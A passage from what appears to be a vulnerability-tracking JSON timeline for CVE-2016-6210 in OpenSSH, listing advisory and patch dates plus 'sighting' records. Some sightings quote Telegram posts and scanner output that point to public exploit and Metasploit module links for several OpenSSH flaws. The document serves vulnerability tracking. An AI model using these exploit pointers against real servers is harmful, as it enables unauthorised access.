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RHSA-2017_2563", "record": "RHSA-2017_2563", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2017-08-31T15:23:55Z", "date_only": false, "value": "2017-08-31T15:23:55+00:00", "kind": "milestone", "label": "Published", "source": "csaf_redhat \u00b7 RHSA-2017:2563", "record": "RHSA-2017:2563", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2017-08-31T15:23:55Z", "date_only": false, "value": "2017-08-31T15:23:55+00:00", "kind": "milestone", "label": "Published", "source": "csaf_redhat \u00b7 RHSA-2017_2563", "record": "RHSA-2017_2563", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2017-08-31T15:23:55Z", "date_only": false, "value": "2017-08-31T15:23:55+00:00", "kind": "other", "label": "Vendor fix", "source": "csaf_redhat \u00b7 RHSA-2017:2563", "record": "RHSA-2017:2563", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2017-08-31T15:23:55Z", "date_only": false, "value": "2017-08-31T15:23:55+00:00", "kind": "other", "label": "Vendor fix", "source": "csaf_redhat \u00b7 RHSA-2017_2563", "record": "RHSA-2017_2563", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2017-08-31T22:00:00Z", "date_only": false, "value": "2017-08-31T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0450", "record": "WID-SEC-W-2023-0450", "field": "document.tracking.revision_history.16.date", "linked_record": true}, {"timestamp": "2018-01-24T00:00:00Z", "date_only": false, "value": "2018-01-24T00:00:00+00:00", "kind": "other", "label": "Discovery date", "source": "csaf_redhat \u00b7 RHSA-2017:2029", "record": "RHSA-2017:2029", "field": "vulnerabilities.5.discovery_date", "linked_record": true}, {"timestamp": "2018-01-24T00:00:00Z", "date_only": false, "value": "2018-01-24T00:00:00+00:00", "kind": "other", "label": "Discovery date", "source": "csaf_redhat \u00b7 RHSA-2017_2029", "record": "RHSA-2017_2029", "field": "vulnerabilities.5.discovery_date", "linked_record": true}, {"timestamp": "2018-01-24T00:00:00Z", "date_only": false, "value": "2018-01-24T00:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2017:2029", "record": "RHSA-2017:2029", "field": "vulnerabilities.5.release_date", "linked_record": true}, {"timestamp": "2018-01-24T00:00:00Z", "date_only": false, "value": "2018-01-24T00:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2017_2029", "record": "RHSA-2017_2029", "field": "vulnerabilities.5.release_date", "linked_record": true}, {"timestamp": "2018-05-29T15:50:33Z", "date_only": false, "value": "2018-05-29T15:50:33.000000Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssh/ssh_enumusers.rb", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "611a2ee4-714e-453c-845f-f4050311ffa2", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssh/ssh_enumusers.rb"}, {"timestamp": "2018-08-29T07:58:51Z", "date_only": false, "value": "2018-08-29T07:58:51.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/antichat/2044", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "e9ef49aa-5b19-4996-9012-49957e4d77fc", "content": "#linux #unix #exploit #\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\n\n\u041f\u043e\u0431\u043e\u043b\u044c\u0448\u0435 \u043e\u0431 OpenSSH\n\nOpenSSH \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0430\u043b\u044b\u043c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445. \u0418 \u043f\u043e\u0445\u043e\u0436\u0435 \u043a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 - \u0447\u0430\u0441\u0442\u043e\u0439 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u043c\u043e\u0441\u0442\u044c\u044e \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0447\u0435\u043d\u044c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439. \u0415\u0441\u043b\u0438 \u0440\u0438\u0441\u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442 \u043d\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u0437\u0430\u0433\u043b\u044f\u043d\u0443\u0442\u044c \u043d\u0430 \u043f\u0430\u0440\u0443 \u043b\u0435\u0442 \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u0435 \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u0447\u0435\u043c \u0435\u0449\u0435 \u043e\u043f\u0430\u0441\u043d\u044b \u0441\u0442\u0430\u0440\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 OpenSSH:\n\nCVE-2016-10009 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4 - \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c OpenSSH \u043d\u0430 \u041a\u041b\u0418\u0415\u041d\u0422\u0415 \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 (\u044f\u043a\u043e\u0431\u044b \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 PKCS11), \u0435\u0441\u043b\u0438 \u0443 \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437\u043e\u0431\u0440\u0430\u0437\u0438\u044f \u0435\u0441\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0436\u0435\u043b\u0430\u0435\u043c\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0443 \u043a\u043b\u0438\u0435\u043d\u0442\u0430. \u041f\u0440\u0438\u043c\u0435\u0440 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438: https://www.exploit-db.com/exploits/40963/\n\nCVE-2016-10010 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4 - \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0440\u0443\u0442\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u0441\u043e\u043a\u0435\u0442\u0430\u043c \u0434\u043e\u043c\u0435\u043d\u0430 Unix, \u0435\u0441\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043e UsePrivilegeSeparation. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/40962.zip\n\n\u0410 \u0435\u0449\u0435 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 7.4 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u043b\u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u0432\u0435\u0440\u0441\u0438\u0438 1 SSH \u0438 \u0448\u0438\u0444\u0440\u043e\u0432 Blowfish, RC4 \u0438 3DES-CBC \u0438 RSA-\u043a\u043b\u044e\u0447\u0435\u0439 \u043a\u043e\u0440\u043e\u0447\u0435 1024 \u0431\u0438\u0442.\n\nCVE-2016-6210 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.3 - \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0442\u043e\u043c, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043b\u0438 \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c. \u0427\u0435\u0440\u0435\u0437 \u0440\u0430\u0437\u043d\u0438\u0446\u0443 \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0445\u0435\u0448\u0435\u0439 BLOWFISH \u0438 SHA256/SHA512. \u0421\u043a\u0440\u0438\u043f\u0442: https://www.exploit-db.com/exploits/40136/\n\nCVE-2016-6515 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.3 - \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e DoS: https://www.exploit-db.com/exploits/40888/\n\nCVE-2015-6565 - \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 6.8 \u0438 6.9 - \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0444\u0430\u0439\u043b\u044b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 PTY. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442: https://www.exploit-db.com/exploits/45280/", "url": "https://t.me/antichat/2044", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2019-02-06T23:00:00Z", "date_only": false, "value": "2019-02-06T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0450", "record": "WID-SEC-W-2023-0450", "field": "document.tracking.revision_history.17.date", "linked_record": true}, {"timestamp": "2020-01-06T23:00:00Z", "date_only": false, "value": "2020-01-06T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0450", "record": "WID-SEC-W-2023-0450", "field": "document.tracking.revision_history.18.date", "linked_record": true}, {"timestamp": "2022-05-14T01:36:14Z", "date_only": false, "value": "2022-05-14T01:36:14Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-F525-65H3-3QJH", "record": "GHSA-F525-65H3-3QJH", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2022-12-13T00:00:00Z", "date_only": false, "value": "2022-12-13T00:00:00.000000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_cisa \u00b7 ICSA-22-349-21", "record": "ICSA-22-349-21", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2022-12-13T00:00:00Z", "date_only": false, "value": "2022-12-13T00:00:00Z", "kind": "other", "label": "Advisory revision", "source": "csaf_siemens \u00b7 SSA-412672", "record": "SSA-412672", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2022-12-13T00:00:00Z", "date_only": true, "value": "2022-12-13", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-1094", "record": "CERTFR-2022-AVI-1094", "field": "vendor_advisories.0.published_at", "linked_record": true}, {"timestamp": "2022-12-13T00:00:00Z", "date_only": false, "value": "2022-12-13T00:00:00.000000Z", "kind": "milestone", "label": "Published", "source": "csaf_cisa \u00b7 ICSA-22-349-21", "record": "ICSA-22-349-21", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2022-12-13T00:00:00Z", "date_only": false, "value": "2022-12-13T00:00:00Z", "kind": "milestone", "label": "Published", "source": "csaf_siemens \u00b7 SSA-412672", "record": "SSA-412672", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2022-12-13T00:00:00Z", "date_only": false, "value": "2022-12-13T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-1094", "record": "CERTFR-2022-AVI-1094", "field": "revisions.0.revision_date", "linked_record": true}, {"timestamp": "2022-12-13T00:00:00Z", "date_only": false, "value": "2022-12-13T00:00:00.000000Z", "kind": "other", "label": "Updated", "source": "csaf_cisa \u00b7 ICSA-22-349-21", "record": "ICSA-22-349-21", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2022-12-13T00:00:00Z", "date_only": false, "value": "2022-12-13T00:00:00Z", "kind": "other", "label": "Updated", "source": "csaf_siemens \u00b7 SSA-412672", "record": "SSA-412672", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2022-12-13T00:00:00Z", "date_only": false, "value": "2022-12-13T00:00:00.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / mitre", "record": "cve-2016-6210", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2022-12-13T12:15:00Z", "date_only": false, "value": "2022-12-13T12:15Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2016-6210", "record": "GSD-2016-6210", "field": "namespaces.nvd.nist.gov.lastModifiedDate", "linked_record": true}, {"timestamp": "2023-02-21T23:00:00Z", "date_only": false, "value": "2023-02-21T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0450", "record": "WID-SEC-W-2023-0450", "field": "document.tracking.revision_history.19.date", "linked_record": true}, {"timestamp": "2023-08-17T22:00:00Z", "date_only": false, "value": "2023-08-17T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0450", "record": "WID-SEC-W-2023-0450", "field": "document.tracking.revision_history.20.date", "linked_record": true}, {"timestamp": "2023-08-23T22:00:00Z", "date_only": false, "value": "2023-08-23T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0450", "record": "WID-SEC-W-2023-0450", "field": "document.tracking.revision_history.21.date", "linked_record": true}, {"timestamp": "2023-12-13T01:21:23.202Z", "date_only": false, "value": "2023-12-13T01:21:23.202632Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2016-6210", "record": "GSD-2016-6210", "field": "gsd.osvSchema.modified", "linked_record": true}, {"timestamp": "2024-05-07T22:00:00Z", "date_only": false, "value": "2024-05-07T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0450", "record": "WID-SEC-W-2023-0450", "field": "document.tracking.revision_history.22.date", "linked_record": true}, {"timestamp": "2024-05-07T22:00:00Z", "date_only": false, "value": "2024-05-07T22:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0450", "record": "WID-SEC-W-2023-0450", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2024-06-15T00:00:00Z", "date_only": false, "value": "2024-06-15T00:00:00Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:10174-1", "record": "OPENSUSE-SU-2024:10174-1", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2024-06-15T00:00:00Z", "date_only": false, "value": "2024-06-15T00:00:00Z", "kind": "other", "label": "Document generated", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:10174-1", "record": "OPENSUSE-SU-2024:10174-1", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2024-06-15T00:00:00Z", "date_only": false, "value": "2024-06-15T00:00:00Z", "kind": "other", "label": "Impact", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:10174-1", "record": "OPENSUSE-SU-2024:10174-1", "field": "vulnerabilities.0.threats.0.date", "linked_record": true}, {"timestamp": "2024-06-15T00:00:00Z", "date_only": false, "value": "2024-06-15T00:00:00Z", "kind": "milestone", "label": "Published", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:10174-1", "record": "OPENSUSE-SU-2024:10174-1", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2024-08-06T01:22:20.650Z", "date_only": false, "value": "2024-08-06T01:22:20.650Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "cve-2016-6210", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-15T17:44:35.426Z", "date_only": false, "value": "2024-08-15T17:44:35.426+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0450", "record": "WID-SEC-W-2023-0450", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2024-11-22T10:53:55Z", "date_only": false, "value": "2024-11-22T10:53:55+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2017_2029", "record": "RHSA-2017_2029", "field": "document.tracking.revision_history.2.date", "linked_record": true}, {"timestamp": "2024-11-22T10:53:55Z", "date_only": false, "value": "2024-11-22T10:53:55+00:00", "kind": "other", "label": "Document generated", "source": "csaf_redhat \u00b7 RHSA-2017_2029", "record": "RHSA-2017_2029", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2024-11-22T10:53:55Z", "date_only": false, "value": "2024-11-22T10:53:55+00:00", "kind": "other", "label": "Updated", "source": "csaf_redhat \u00b7 RHSA-2017_2029", "record": "RHSA-2017_2029", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2024-11-22T10:54:02Z", "date_only": false, "value": "2024-11-22T10:54:02+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2017_2563", "record": "RHSA-2017_2563", "field": "document.tracking.revision_history.2.date", "linked_record": true}, {"timestamp": "2024-11-22T10:54:02Z", "date_only": false, "value": "2024-11-22T10:54:02+00:00", "kind": "other", "label": "Document generated", "source": "csaf_redhat \u00b7 RHSA-2017_2563", "record": "RHSA-2017_2563", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2024-11-22T10:54:02Z", "date_only": false, "value": "2024-11-22T10:54:02+00:00", "kind": "other", "label": "Updated", "source": "csaf_redhat \u00b7 RHSA-2017_2563", "record": "RHSA-2017_2563", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2025-02-06T03:13:42Z", "date_only": false, "value": "2025-02-06T03:13:42.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "fa019136-467d-4a69-aaa6-ba5458bcc143"}, {"timestamp": "2025-02-23T04:09:48Z", "date_only": false, "value": "2025-02-23T04:09:48.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "34cf4440-8917-4cea-9675-ddbbc5ba4e77"}, {"timestamp": "2025-03-15T04:00:07Z", "date_only": false, "value": "2025-03-15T04:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/aQvnaXk1_QD2ApLPg3FWtj-TBfB-hmrq9ZB-6wsCWyjht-8", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "f57dff3c-8705-4470-a880-ba9f0cce05e0", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-04-01T08:49:50Z", "date_only": false, "value": "2025-04-01T08:49:50.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/MalaysiaHacktivistz/10574", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "e96f3e58-1282-45a2-8887-9bb1d60de878", "content": "https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3        *EXPLOIT*              |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       10213DBE-F683-58BB-B6D3-353173626207   6.8     https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207        *EXPLOIT*              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       EDB-ID:40858    6.4     https://vulners.com/exploitdb/EDB-ID:40858   *EXPLOIT*                               |       EDB-ID:40119    6.4     https://vulners.com/exploitdb/EDB-ID:40119   *EXPLOIT*                               |       EDB-ID:39569    6.4     https://vulners.com/exploitdb/EDB-ID:39569   *EXPLOIT*                               |       CVE-2016-3115   6.4     https://vulners.com/cve/CVE-2016-3115         |       PACKETSTORM:181223      5.9   https://vulners.com/packetstorm/PACKETSTORM:181223      *EXPLOIT*              |       MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS-       5.9     https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS-       *EXPLOIT*      |       EDB-ID:40136    5.9     https://vulners.com/exploitdb/EDB-ID:40136   *EXPLOIT*                               |       EDB-ID:40113    5.9     https://vulners.com/exploitdb/EDB-ID:40113   *EXPLOIT*                               |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       CVE-2020-14145  5.9     https://vulners.com/cve/CVE-2020-14145        |       CVE-2019-6111   5.9     https://vulners.com/cve/CVE-2019-6111         |       CVE-2016-6210   5.9     https://vulners.com/cve/CVE-2016-6210         |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       EXPLOITPACK:98FE96309F9524B8C84C508837551A19   5.8     https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19  *EXPLOIT*      |       EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97   5.8     https://vulners.com/exploitpack/EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97  *EXPLOIT*      |       1337DAY-ID-32328        5.8   https://vulners.com/zdt/1337DAY-ID-32328*EXPLOIT*                              |       1337DAY-ID-32009        5.8   https://vulners.com/zdt/1337DAY-ID-32009*EXPLOIT*                              |       SSV:91041       5.5     https://vulners.com/seebug/SSV:91041   *EXPLOIT*                                     |       PACKETSTORM:140019      5.5   https://vulners.com/packetstorm/PACKETSTORM:140019      *EXPLOIT*              |       PACKETSTORM:136251      5.5   https://vulners.com/packetstorm/PACKETSTORM:136251      *EXPLOIT*              |       PACKETSTORM:136234      5.5   https://vulners.com/packetstorm/PACKETSTORM:136234      *EXPLOIT*              |       EXPLOITPACK:F92411A645D85F05BDBD274FD222226F   5.5     https://vulners.com/exploitpack/EXPLOITPACK:F92411A645D85F05BDBD274FD222226F  *EXPLOIT*      |       EXPLOITPACK:9F2E746846C3C623A27A441281EAD138   5.5     https://vulners.com/exploitpack/EXPLOITPACK:9F2E746846C3C623A27A441281EAD138  *EXPLOIT*      |       EXPLOITPACK:1902C998CBF9154396911926B4C3B330   5.5     https://vulners.com/exploitpack/EXPLOITPACK:1902C998CBF9154396911926B4C3B330  *EXPLOIT*      |       CVE-2016-10011  5.5     https://vulners.com/cve/CVE-2016-10011        |       1337DAY-ID-25388        5.5   https://vulners.com/zdt/1337DAY-ID-25388*EXPLOIT*                              |       EDB-ID:45939    5.3     https://vulners.com/exploitdb/EDB-ID:45939   *EXPLOIT*                               |       EDB-ID:45233    5.3     https://vulners.com/exploitdb/EDB-ID:45233   *EXPLOIT*                               |       CVE-2018-20685  5.3     https://vulners.com/cve/CVE-2018-20685        |       CVE-2018-15919  5.3     https://vulners.com/cve/CVE-2018-15919        |       CVE-2018-15473  5.3     https://vulners.com/cve/CVE-2018-15473        |       CVE-2017-15906  5.3     https://vulners.com/cve/CVE-2017-15906        |", "url": "https://t.me/MalaysiaHacktivistz/10574", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-04-01T08:49:50Z", "date_only": false, "value": "2025-04-01T08:49:50.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/MalaysiaHacktivistz/2961", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "7e1744a6-2d33-45d5-9826-859907f94227", "content": "https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3        *EXPLOIT*              |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       10213DBE-F683-58BB-B6D3-353173626207   6.8     https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207        *EXPLOIT*              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       EDB-ID:40858    6.4     https://vulners.com/exploitdb/EDB-ID:40858   *EXPLOIT*                               |       EDB-ID:40119    6.4     https://vulners.com/exploitdb/EDB-ID:40119   *EXPLOIT*                               |       EDB-ID:39569    6.4     https://vulners.com/exploitdb/EDB-ID:39569   *EXPLOIT*                               |       CVE-2016-3115   6.4     https://vulners.com/cve/CVE-2016-3115         |       PACKETSTORM:181223      5.9   https://vulners.com/packetstorm/PACKETSTORM:181223      *EXPLOIT*              |       MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS-       5.9     https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS-       *EXPLOIT*      |       EDB-ID:40136    5.9     https://vulners.com/exploitdb/EDB-ID:40136   *EXPLOIT*                               |       EDB-ID:40113    5.9     https://vulners.com/exploitdb/EDB-ID:40113   *EXPLOIT*                               |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       CVE-2020-14145  5.9     https://vulners.com/cve/CVE-2020-14145        |       CVE-2019-6111   5.9     https://vulners.com/cve/CVE-2019-6111         |       CVE-2016-6210   5.9     https://vulners.com/cve/CVE-2016-6210         |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       EXPLOITPACK:98FE96309F9524B8C84C508837551A19   5.8     https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19  *EXPLOIT*      |       EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97   5.8     https://vulners.com/exploitpack/EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97  *EXPLOIT*      |       1337DAY-ID-32328        5.8   https://vulners.com/zdt/1337DAY-ID-32328*EXPLOIT*                              |       1337DAY-ID-32009        5.8   https://vulners.com/zdt/1337DAY-ID-32009*EXPLOIT*                              |       SSV:91041       5.5     https://vulners.com/seebug/SSV:91041   *EXPLOIT*                                     |       PACKETSTORM:140019      5.5   https://vulners.com/packetstorm/PACKETSTORM:140019      *EXPLOIT*              |       PACKETSTORM:136251      5.5   https://vulners.com/packetstorm/PACKETSTORM:136251      *EXPLOIT*              |       PACKETSTORM:136234      5.5   https://vulners.com/packetstorm/PACKETSTORM:136234      *EXPLOIT*              |       EXPLOITPACK:F92411A645D85F05BDBD274FD222226F   5.5     https://vulners.com/exploitpack/EXPLOITPACK:F92411A645D85F05BDBD274FD222226F  *EXPLOIT*      |       EXPLOITPACK:9F2E746846C3C623A27A441281EAD138   5.5     https://vulners.com/exploitpack/EXPLOITPACK:9F2E746846C3C623A27A441281EAD138  *EXPLOIT*      |       EXPLOITPACK:1902C998CBF9154396911926B4C3B330   5.5     https://vulners.com/exploitpack/EXPLOITPACK:1902C998CBF9154396911926B4C3B330  *EXPLOIT*      |       CVE-2016-10011  5.5     https://vulners.com/cve/CVE-2016-10011        |       1337DAY-ID-25388        5.5   https://vulners.com/zdt/1337DAY-ID-25388*EXPLOIT*                              |       EDB-ID:45939    5.3     https://vulners.com/exploitdb/EDB-ID:45939   *EXPLOIT*                               |       EDB-ID:45233    5.3     